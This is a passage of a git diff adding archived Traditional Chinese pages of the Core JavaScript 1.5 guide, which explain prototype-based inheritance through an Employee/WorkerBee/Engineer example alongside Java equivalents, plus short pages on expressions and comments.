+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E9%9A%8E%E5%B1%A4%E7%9A%84%E5%BB%BA%E7%AB%8B" title="zh tw/Core JavaScript 1.5 教學/職員的例子/階層的建立">階層的建立</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E7%89%A9%E4%BB%B6%E7%9A%84%E5%B1%AC%E6%80%A7" title="zh tw/Core JavaScript 1.5 教學/職員的例子/物件的屬性">物件的屬性</a>
+  <ul>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E7%89%A9%E4%BB%B6%E7%9A%84%E5%B1%AC%E6%80%A7/%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF" title="zh tw/Core JavaScript 1.5 教學/職員的例子/物件的屬性/屬性的繼承">屬性的繼承</a></li>
+   <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E7%89%A9%E4%BB%B6%E7%9A%84%E5%B1%AC%E6%80%A7/%E5%B1%AC%E6%80%A7%E7%9A%84%E5%8A%A0%E5%85%A5" title="zh tw/Core JavaScript 1.5 教學/職員的例子/物件的屬性/屬性的加入">屬性的加入</a></li>
+  </ul>
+ </li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E6%9B%B4%E9%9D%88%E6%B4%BB%E7%9A%84%E5%BB%BA%E6%A7%8B%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/職員的例子/更靈活的建構子">更靈活的建構子</a></li>
+</ul>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:以類別為基礎的語言_vs._以原型為基礎的語言", "Core_JavaScript_1.5_教學:職員的例子:階層的建立") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/更靈活的建構子/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/更靈活的建構子/index.html
new file mode 100644
index 0000000000..84c41fab58
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/更靈活的建構子/index.html
@@ -0,0 +1,143 @@
+---
+title: 更靈活的建構子
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/職員的例子/更靈活的建構子
+translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
+---
+<h3 id="更靈活的建構子" name="更靈活的建構子">更靈活的建構子</h3>
+<p>目前為止所介紹的建構子函數並不能讓你在建立實體的時候指定屬性值。如同 Java 一般，你可以提供參數給建構子來為實體初始化屬性值。下圖顯示了做到這點的其中一個方式。</p>
+<p><img alt="Image:hier05.gif" class="internal" src="/@api/deki/files/712/=Hier05.gif"><br>
+<small><strong>圖 8.5: 在建構子中指定屬性，之一</strong></small></p>
+<p>下表顯示出 Java 和 JavaScript 對這些物件的定義。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>JavaScript</th> <th>Java</th> </tr> <tr> <td> <pre>
+function Employee (name, dept) {
+  this.name = name || "";
+  this.dept = dept || "general";
+}
+</pre> </td> <td> <pre>
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this("", "general");
+   }
+   public Employee (String name) {
+      this(name, "general");
+   }
+   public Employee (String name, String dept) {
+      this.name = name;
+      this.dept = dept;
+   }
+}
+</pre> </td> </tr> <tr> <td> <pre>
+function WorkerBee (projs) {
+  this.projects = projs || [];
+}
+WorkerBee.prototype = new Employee;
+</pre> </td> <td> <pre>
+import java.util.List;
+import java.util.ArrayList;
+
+public class WorkerBee extends Employee {
+   public List&lt;String&gt; projects;
+   public WorkerBee () {
+      this(new ArrayList&lt;String&gt;());
+   }
+   public WorkerBee (List&lt;String&gt; projs) {
+      projects = projs;
+   }
+}
+
+</pre> </td> </tr> <tr> <td> <pre>
+
+function Engineer (mach) {
+   this.dept = "engineering";
+   this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+</pre> </td> <td> <pre>
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      dept = "engineering";
+      machine = "";
+   }
+   public Engineer (String mach) {
+      dept = "engineering";
+      machine = mach;
+   }
+}
+</pre> </td> </tr> </tbody>
+</table>
+<p><br>
+JavaScript 的這些定義使用了特殊的用語來設定預設值︰</p>
+<pre>this.name = name || "";
+</pre>
+<p>JavaScript 的邏輯 OR 運算子 (||) 會對他的第一參數求值。如果參數轉換為 true，運算子就返回這個參數。否則，運算子返回第二個參數的值。因此，這一行測試代碼可以看成，如果 <code>name</code> 具有對 <code>name</code> 屬性而言有用的值。如果是的話，他就把 <code>this.name</code> 設定成這個值。否則，他就把 <code>this.name</code> 設定成空字串。為簡單起見，本章使用這個用語；然而，第一眼看到這種用法的時候會使人迷惑不解<span style="font-style: italic;">。</span><em>請注意</em>︰這個用法在數字或布林參數中，可能不會如預期般運作，例如 <code>0</code>（零）和 <code>false</code> 會導致預設值被選取；在這種情況下，你將會需要使用下面更為冗長的用語，他會使所有的資料類型都發生預期般的行為︰</p>
+<pre>this.authorized = typeof(authorized) !== 'undefined' ? authorized : true;
+</pre>
+<p>當你使用這個定義來建立物件的實體的時候，你可以為在局域中定義的屬性來指定值。如同圖 8.5 所示，你可以使用如下語句來建立新的 Engineer︰</p>
+<pre>jane = new Engineer("belau");
+</pre>
+<p> <code>Jane</code> 的屬性現在是︰</p>
+<pre>jane.name == "";
+jane.dept == "engineering";
+jane.projects == [];
+jane.machine == "belau"
+</pre>
+<p>注意這些定義，你不能為像 <code>name</code> 這種繼承下來的屬性指定初始值。如果你想要在 JavaScript 中，給繼承下來的屬性指定初始值，你就需要加入更多的代碼到建構子函數中。</p>
+<p>截至目前為止，建構子函數建立了通用的物件，然後為新物件指定局域的屬性和值。你的建構子也可以直接呼叫建構子函數，來為原型鏈中較高層的物件加入更多的屬性。下圖顯示了這些定義。</p>
+<p><img alt="Image:hier06.gif" class="internal" src="/@api/deki/files/713/=Hier06.gif"><br>
+<small><strong>圖 8.6 在建構子中指定屬性，之二</strong></small></p>
+<p>讓我們來更仔細的觀察其中一個定義。這是 Engineer 建構子的新定義︰</p>
+<pre>function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre>
+<p>假設你如下建立新的 <code>Engineer</code> 物件︰</p>
+<pre>jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+</pre>
+<p>JavaScript 遵循以下步驟︰</p>
+<ol> <li>new 運算子建立通用物件，並且把他的 <code>__proto__</code> 屬性設定為 <code>Engineer.prototype</code>。</li> <li>new 運算子把新物件傳遞給 <code>Engineer</code> 建構子當作 <code>this</code> 關鍵字的值。</li> <li>建構子為這個物件建立稱為 <code>base</code> 的新屬性，並且把 <code>WorkerBee</code> 建構子的值代入給 <code>base</code> 屬性。這會使 <code>WorkerBee</code> 建構子成為 <code>Engineer</code> 物件的一個方法。<code>base</code> 屬性的名稱並無特別之處。你可以使用任意的有效的屬性名稱；<code>base</code> 這個名稱只是簡單的為了他的用途而取的。</li> <li>建構子呼叫 <code>base</code> 方法，把傳入給建構子的其中兩個參數（"Doe, Jane" 以及 {{ mediawiki.external('\"navigator\", \"javascript\"') }}）以及字串 "engineering" 當作自己的參數傳入。在建構子中明確的使用 "engineering"，表明了所有 <code>Engineer</code> 物件所繼承下來的 <code>dept</code> 屬性都有相同的值，而且這個值會覆蓋繼承自 <code>Employee</code> 的值。</li> <li>因為 <code>base</code> 是 <code>Engineer</code> 的方法，<code>base</code> 呼叫端的內部是 JavaScript 在步驟 1 時和新建立的物件綁在一起的 <code>this</code> 關鍵字。因此，<code>WorkerBee</code> 函數依序把 "Doe, Jane" 以及 {{ mediawiki.external('\"navigator\", \"javascript\"') }} 參數傳遞給 <code>Employee</code> 建構子函數。從 <code>Employee</code> 建構子函數返回以後，<code>WorkerBee</code> 函數使用剩下的參數來設定 <code>projects</code> 屬性。</li> <li>從 <code>base</code> 方法返回以後，<code>Engineer</code> 建構子把物件的 <code>machine</code> 屬性初始化成 "belau"。</li> <li>從建構子返回以後，JavaScript 就把新物件代入給 <code>jane</code> 變數。</li>
+</ol>
+<p>你可能在想，要從 <code>Engineer</code> 建構子的內部呼叫 <code> WorkerBee</code> 的建構子，明明你已經為 <code>Engineer</code> 物件設置適當的繼承了。實際情形並非如此。呼叫 <code>WorkerBee</code> 建構子可以確保，與已指定屬性的 <code>Engineer</code> 物件一起開始的所有建構子函數都會被呼叫。然而，如果你稍後把屬性加入到 <code>Employee</code> 或者 <code>WorkerBee</code> 屬性，這些屬性並不會被 <code>Engineer</code> 物件所繼承。例如，假設你使用如下語句︰</p>
+<pre>function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+<p><code>jane</code> 物件並未繼承 <code>specialty</code> 屬性。你仍然需要明確的設置原型，以確保動態繼承。假設你改用這些語句︰</p>
+<pre>function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+Engineer.prototype = new WorkerBee;
+jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
+Employee.prototype.specialty = "none";
+</pre>
+<p>現在 <code> jane</code> 物件的 <code>specialty</code> 屬性的值是 "none"。</p>
+<hr>
+<p>另一種繼承的方式是使用 <code>.call</code>/<code>.apply</code> 方法。以下兩者是等價的︰</p>
+<table> <tbody> <tr> <td> <pre class="eval">
+function Engineer (name, projs, mach) {
+  this.base = WorkerBee;
+  this.base(name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre> </td> <td> <pre class="eval">
+function Engineer (name, projs, mach) {
+  WorkerBee.call(this, name, "engineering", projs);
+  this.machine = mach || "";
+}
+</pre> </td> </tr> </tbody>
+</table>
+<p>使用 Javascript<span style="font-family: monospace;"> 的 </span><code>.call</code> 方法可以產生較為簡潔的實作，因為不再需要 <code>".base"</code>。</p>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:職員的例子:物件的屬性:屬性的加入", "Core_JavaScript_1.5_教學:再談屬性的繼承") }}</p>
+</div>
+<p>{{ languages( {"en": "en/Core_JavaScript_1.5_Guide/The_Employee_Example/More_Flexible_Constructors", "es": "es/Gu\u00eda_JavaScript_1.5/El_ejemplo_Employee/Constructores_m\u00e1s_flexibles", "ja": "ja/Core_JavaScript_1.5_Guide/The_Employee_Example/More_Flexible_Constructors", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Praca_z_przyk\u0142adem/Wi\u0119cej_elastycznych_konstruktor\u00f3w" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/index.html
new file mode 100644
index 0000000000..01d23df274
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/index.html
@@ -0,0 +1,14 @@
+---
+title: 物件的屬性
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/職員的例子/物件的屬性
+---
+<h3 id="物件的屬性" name="物件的屬性">物件的屬性</h3>
+<p>本節討論物件如何從原型鏈上的其他物件來繼承屬性，以及當你在執行時期加入屬性的時候，發生了什麼事。</p>
+<ul>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E7%89%A9%E4%BB%B6%E7%9A%84%E5%B1%AC%E6%80%A7/%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF" title="zh tw/Core JavaScript 1.5 教學/職員的例子/物件的屬性/屬性的繼承">屬性的繼承</a></li>
+ <li><a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E7%89%A9%E4%BB%B6%E7%9A%84%E5%B1%AC%E6%80%A7/%E5%B1%AC%E6%80%A7%E7%9A%84%E5%8A%A0%E5%85%A5" title="zh tw/Core JavaScript 1.5 教學/職員的例子/物件的屬性/屬性的加入">屬性的加入</a></li>
+</ul>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:職員的例子:階層的建立", "Core_JavaScript_1.5_教學:職員的例子:物件的屬性:屬性的繼承") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/屬性的加入/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/屬性的加入/index.html
new file mode 100644
index 0000000000..4d5a456ad4
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/屬性的加入/index.html
@@ -0,0 +1,19 @@
+---
+title: 屬性的加入
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/職員的例子/物件的屬性/屬性的加入
+---
+<h3 id="屬性的加入" name="屬性的加入">屬性的加入</h3>
+<p>在 JavaScript 中，你可以在執行時期把屬性加入到任何的物件。你不會受到只能使用由建構子函數提供屬性的限制。若要為特定的單一物件加入屬性，你可以把值代入給物件，如下︰</p>
+<pre>mark.bonus = 3000;
+</pre>
+<p>現在，<code>mark</code> 物件有了額外的屬性，而其他的 <code>WorkerBee</code> 不會有這個屬性。</p>
+<p>如果你把新的屬性加入到已經被用作建構子函數的原型物件裡的話，就會把新的屬性加入到從原型繼承屬性的所有物件裡。例如，你可以使用如下語句把 <code>specialty</code> 屬性加入到所有的職員︰</p>
+<pre>Employee.prototype.specialty = "none";
+</pre>
+<p>JavaScript 一執行這個語句，<code>mark</code> 物件也就會有這個值為 "<code>none</code>" 的 specialty 屬性。下面的圖解顯示出加入這個屬性給 Employee 原型的效果，以及從 <code>Engineer</code> 原型覆蓋這個屬性。</p>
+<p><img alt="Image:hier04.gif" class="internal" src="/@api/deki/files/711/=Hier04.gif"><br>
+ <small><strong>圖 8.4: 加入屬性</strong></small></p>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:職員的例子:物件的屬性:屬性的繼承", "Core_JavaScript_1.5_教學:職員的例子:更靈活的建構子") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/屬性的繼承/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/屬性的繼承/index.html
new file mode 100644
index 0000000000..fa38245533
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/物件的屬性/屬性的繼承/index.html
@@ -0,0 +1,24 @@
+---
+title: 屬性的繼承
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/職員的例子/物件的屬性/屬性的繼承
+---
+<h3 id="屬性的繼承" name="屬性的繼承">屬性的繼承</h3>
+<p>假定你以如下語句建立了作為 <code>WorkerBee</code> 的 <code>mark</code> 物件（如同 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E9%9A%8E%E5%B1%A4%E7%9A%84%E5%BB%BA%E7%AB%8B" title="zh tw/Core JavaScript 1.5 教學/職員的例子/階層的建立">圖 8.3</a> 所示）︰</p>
+<pre class="eval">mark = new WorkerBee;
+</pre>
+<p>當 JavaScript 看見 new 運算子的時候，他就會建立新的通用物件，並且把這個新物件當作 <code>this</code> 關鍵字的值傳給 WorkerBee 的建構子函數。建構子函數會明確的設定 <code>projects</code> 屬性的值，並且隱含的把 <code>__proto__</code> 屬性內部的值設定成 <code>WorkerBee.prototype</code> 的值。（這個屬性的名稱前後各有兩個底線字元。）<code>__proto__</code> 屬性決定了用來返回屬性值的原型鏈。這些屬性一經設定，JavaScript 返回新的物件，且代入語句會把變數 <code>mark</code> 設定給這個物件。</p>
+<p>這個過程並不會把 <code>mark</code> 從原型鏈上繼承下來的屬性明確的放置在 <code>mark</code> 物件裡的值（<em>局域</em>值）。當你需要某個屬性值的時候，JavaScript 首先檢查這個值是否存在於物件裡。如果存在，就直接返回這個值。如果這些變數不在局域區塊裡，JavaScript 就會檢查原型鏈（使用 <code>__proto__</code> 屬性）。如果在原型鏈上的物件有這個屬性的值，就會返回這個值。如果找不到這些屬性，JavaScript 會說這個物件並沒有這個屬性。以這種方式，<code>mark</code> 物件就有了如下屬性和值︰</p>
+<pre class="eval">mark.name = "";
+mark.dept = "general";
+mark.projects = [];
+</pre>
+<p><code>mark</code> 物件從 <code>mark.__proto__</code> 裡的原型物件繼承了 name 和 dept 屬性的值。他還藉由 WorkerBee 的建構子給 projects 屬性代入局域值。JavaScript 就這樣達成了屬性和值的繼承。這個過程的部分細節會在 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E5%86%8D%E8%AB%87%E5%B1%AC%E6%80%A7%E7%9A%84%E7%B9%BC%E6%89%BF" title="zh tw/Core JavaScript 1.5 教學/再談屬性的繼承">再談屬性的繼承</a> 裡討論。</p>
+<p>因為這些建構子並不能讓你傳入特定實體的值，這些資訊是通用的。這些屬性值預設會被所有從 WorkerBee 建立的新物件所共享。當然你也可以修改任何屬性的值。因此，你可以給 <code>mark</code> 特定的資訊如下︰</p>
+<pre class="eval">mark.name = "Doe, Mark";
+mark.dept = "admin";
+mark.projects = ["navigator"];
+</pre>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core JavaScript 1.5 教學:職員的例子:物件的屬性", "Core JavaScript 1.5 教學:職員的例子:物件的屬性:屬性的加入") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/階層的建立/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/階層的建立/index.html
new file mode 100644
index 0000000000..3e7a144656
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/職員的例子/階層的建立/index.html
@@ -0,0 +1,135 @@
+---
+title: 階層的建立
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/職員的例子/階層的建立
+---
+<h3 id="階層的建立" name="階層的建立">階層的建立</h3>
+<p>這裡有一些方式可以定義適當的建構子函數，以實現 Employee 的階層結構。該如何選擇定義這些的方式，主要取決於你希望你的應用程式能做什麼。</p>
+<p>本節展示如何使用非常簡單的（相對來說也比較沒有彈性）定義，以示範繼承是如何運作的。在這些定義中，當你建立物件的時候，你不能指定任何的屬性值。這些新建立的物件會簡單的取得預設值，稍後你就可以修改這些值。圖 8.2 以這些簡單的定義解說了階層結構。</p>
+<p>在實際的應用程式中，你可能會定義允許你在建立物件的時候提供屬性值的建構子（參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E8%81%B7%E5%93%A1%E7%9A%84%E4%BE%8B%E5%AD%90/%E6%9B%B4%E9%9D%88%E6%B4%BB%E7%9A%84%E5%BB%BA%E6%A7%8B%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/職員的例子/更靈活的建構子">更靈活的建構子</a> 以取得資訊）。現在，這些簡單的定義示範繼承是如何發生的。</p>
+<p><img alt="Image:hier02.gif" class="internal" src="/@api/deki/files/709/=Hier02.gif"><br>
+ <small><strong>圖 8.2: Employee 物件的定義</strong></small></p>
+<p>下面 Java 和 JavaScript 的 <code>Employee</code> 定義很類似。唯一的不同點是，在 Java 中，你需要為每一個屬性指定類型，但 JavaScript 不需要。而且你需要為 Java 類別建立明確的建構子方法。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>JavaScript</th>
+   <th>Java</th>
+  </tr>
+  <tr>
+   <td>
+    <pre>
+function Employee () {
+this.name = "";
+this.dept = "general";
+}
+</pre>
+   </td>
+   <td>
+    <pre>
+public class Employee {
+   public String name;
+   public String dept;
+   public Employee () {
+      this.name = "";
+      this.dept = "general";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><code>Manager</code> 和 <code>WorkerBee</code> 的定義顯現出在如何指定高於繼承鏈的下一個物件時的不同點。在 JavaScript 中，你把原型實體作為建構子函數的 <code>prototype</code> 屬性的值加了上去。在你定義了建構子以後的任何時間點上，你都可以這麼做。在 Java 中，你只能在類別定義的內部指定親類別。你不能在類別定義的外部改變親類別。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>JavaScript</th>
+   <th>Java</th>
+  </tr>
+  <tr>
+   <td>
+    <pre>
+function Manager () {
+this.reports = [];
+}
+Manager.prototype = new Employee;
+
+function WorkerBee () {
+this.projects = [];
+}
+WorkerBee.prototype = new Employee;
+</pre>
+   </td>
+   <td>
+    <pre>
+public class Manager extends Employee {
+   public Employee[] reports;
+   public Manager () {
+      this.reports = new Employee[0];
+   }
+}
+
+public class WorkerBee extends Employee {
+   public String[] projects;
+   public WorkerBee () {
+      this.projects = new String[0];
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><code>Engineer</code> 和 <code>SalesPerson</code> 的定義所建立的物件是傳承自 <code>WorkerBee</code> 以及 <code>Employee</code>。這些類型的物件具有在鏈上比他高層的所有物件的屬性。此外，定義中還使用指定給這些物件的新值來覆蓋被繼承的 <code>dept</code> 屬性的值。</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>JavaScript</th>
+   <th>Java</th>
+  </tr>
+  <tr>
+   <td>
+    <pre>
+function SalesPerson () {
+   this.dept = "sales";
+   this.quota = 100;
+}
+SalesPerson.prototype = new WorkerBee;
+
+function Engineer () {
+   this.dept = "engineering";
+   this.machine = "";
+}
+Engineer.prototype = new WorkerBee;
+</pre>
+   </td>
+   <td>
+    <pre>
+public class SalesPerson extends WorkerBee {
+   public double quota;
+   public SalesPerson () {
+      this.dept = "sales";
+      this.quota = 100.0;
+   }
+}
+
+public class Engineer extends WorkerBee {
+   public String machine;
+   public Engineer () {
+      this.dept = "engineering";
+      this.machine = "";
+   }
+}
+</pre>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p>使用這些定義，你可以建立這些物件的實體，同時實體也為他們的屬性取得預設值。圖 8.3 解說使用這些 JavaScript 定義來建立新的物件，並顯示新物件的屬性值。</p>
+<p><strong>附註:</strong> 術語<em>實體（instance）</em>在以類別為基礎的語言中有特定的技術含義。在這些語言中，實體就是類別的獨立成員，而且在根本上就有別於類別。在 JavaScript 中，〝實體〞並沒有這些技術含義，因為 JavaScript 並沒有類別和實體的分別。然而，在談到 JavaScript 的時候，〝實體〞也可以在通俗上用來指，使用實際的建構子函數建立的物件。因此，在這些範例中，你也可以通俗的說 <code>jane</code> 是 <code>Engineer</code> 的實體。類似的，儘管術語 <em>親（parent）、子（child）、祖先（ancestor）</em>、<em>子孫（descendant）</em>在 JavaScript 中並沒有正式的含義；你也可以隨俗的使用這些術語，來談論在原型鏈中較高或較低的某個物件。</p>
+<p><img alt="Image:hier03.gif" class="internal" src="/@api/deki/files/710/=Hier03.gif"><br>
+ <span style="font-weight: bold;">圖</span><small><strong> 8.3: 使用簡單的定義來建立物件</strong></small></p>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_教學:職員的例子", "Core_JavaScript_1.5_教學:職員的例子:物件的屬性") }}</p>
+</div>
+<p> </p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/表達式/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/表達式/index.html
new file mode 100644
index 0000000000..31b427de99
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/表達式/index.html
@@ -0,0 +1,15 @@
+---
+title: 表達式
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/表達式
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<p> </p>
+<h3 id="表達式" name="表達式">表達式</h3>
+<p><em>表達式</em>即任何有效的一組字面表達、變數、運算子、可求值的單一的值，值可以使用數字、字串、或邏輯值。</p>
+<p>大致上來說，表達式可分為兩種︰把值代入給變數，和單純的持有值。例如，表達式 <code>x = 7</code> 是把值 7 代入給 x 的表達式。表達式本身的求值結果是 7。這些表達式使用<em>代入運算子</em>。換句話說，表達式 <code>3 + 4</code> 單純的求值結果為 7，且沒有代入動作。這些表達式使用的運算子又可以簡單的稱為<em>運算子</em>。</p>
+<p>JavaScript 有以下幾種表達式︰</p>
+<ul> <li>算術式: 求出數值，例如，3.14159。（一般使用 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%AE%97%E8%A1%93%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/算術運算子">算術運算子</a>。）</li> <li>字串式: 求出字元、字串，例如，"Fred" 或 "234"。（一般使用 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E5%AD%97%E4%B8%B2%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/字串運算子">字串運算子</a>。）</li> <li>邏輯式: 求出真值或假值。（通常和 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E9%82%8F%E8%BC%AF%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/邏輯運算子">邏輯運算子</a> 有關。）</li> <li>物件式: 求出物件。（參閱 <a class="internal" href="/zh_tw/Core_JavaScript_1.5_%E6%95%99%E5%AD%B8/%E9%81%8B%E7%AE%97%E5%AD%90/%E7%89%B9%E6%AE%8A%E9%81%8B%E7%AE%97%E5%AD%90" title="zh tw/Core JavaScript 1.5 教學/運算子/特殊運算子">特殊運算子</a> 取得有關求出物件的各種例子。）</li>
+</ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:Unicode", "Core_JavaScript_1.5_教學:運算子") }}</p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Expressions", "fr": "fr/Guide_JavaScript_1.5/Expressions", "ja": "ja/Core_JavaScript_1.5_Guide/Expressions", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Wyra\u017cenia" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/註解/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/註解/index.html
new file mode 100644
index 0000000000..a59b965e21
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/註解/index.html
@@ -0,0 +1,20 @@
+---
+title: 註解
+slug: Web/JavaScript/Obsolete_Pages/Obsolete_Pages/Obsolete_Pages/註解
+translation_of: Web/JavaScript/Guide/Control_flow_and_error_handling
+---
+<h3 id="註解" name="註解">註解</h3>
+<p>註解是作者用來解釋 Script 在做什麼的標記符號。註解會被解譯器忽略。JavaScript 支援 Java 和 C++ 形式的註解︰</p>
+<ul> <li>單行註解是在前面加上兩個斜線 (//)。</li> <li>多行註解是在前面加上 /* 並在尾端加上 */。</li>
+</ul>
+<p><strong>範例</strong><br>
+以下範例示範這兩種註解︰</p>
+<pre>// 這是單行註解。
+
+/* 這是多行註解。不管是什麼長度都可以，你也
+可以在任何你喜歡的地方使用。 */
+</pre>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_教學:物件的操作語法", "Core_JavaScript_1.5_教學:例外處理語法") }}</p>
+</div>
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Comments", "es": "es/Gu\u00eda_JavaScript_1.5/Sentencias_para_comentarios", "fr": "fr/Guide_JavaScript_1.5/Commentaires", "ja": "ja/Core_JavaScript_1.5_Guide/Comments", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Instrukcje_komentarzy" } ) }}</p>
diff --git a/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/變數/index.html b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/變數/index.html
new file mode 100644
index 0000000000..aef7adffaa
--- /dev/null
+++ b/files/zh-tw/web/javascript/obsolete_pages/obsolete_pages/obsolete_pages/變數/index.html
@@ -0,0 +1,56 @@
+---
+title: 變數
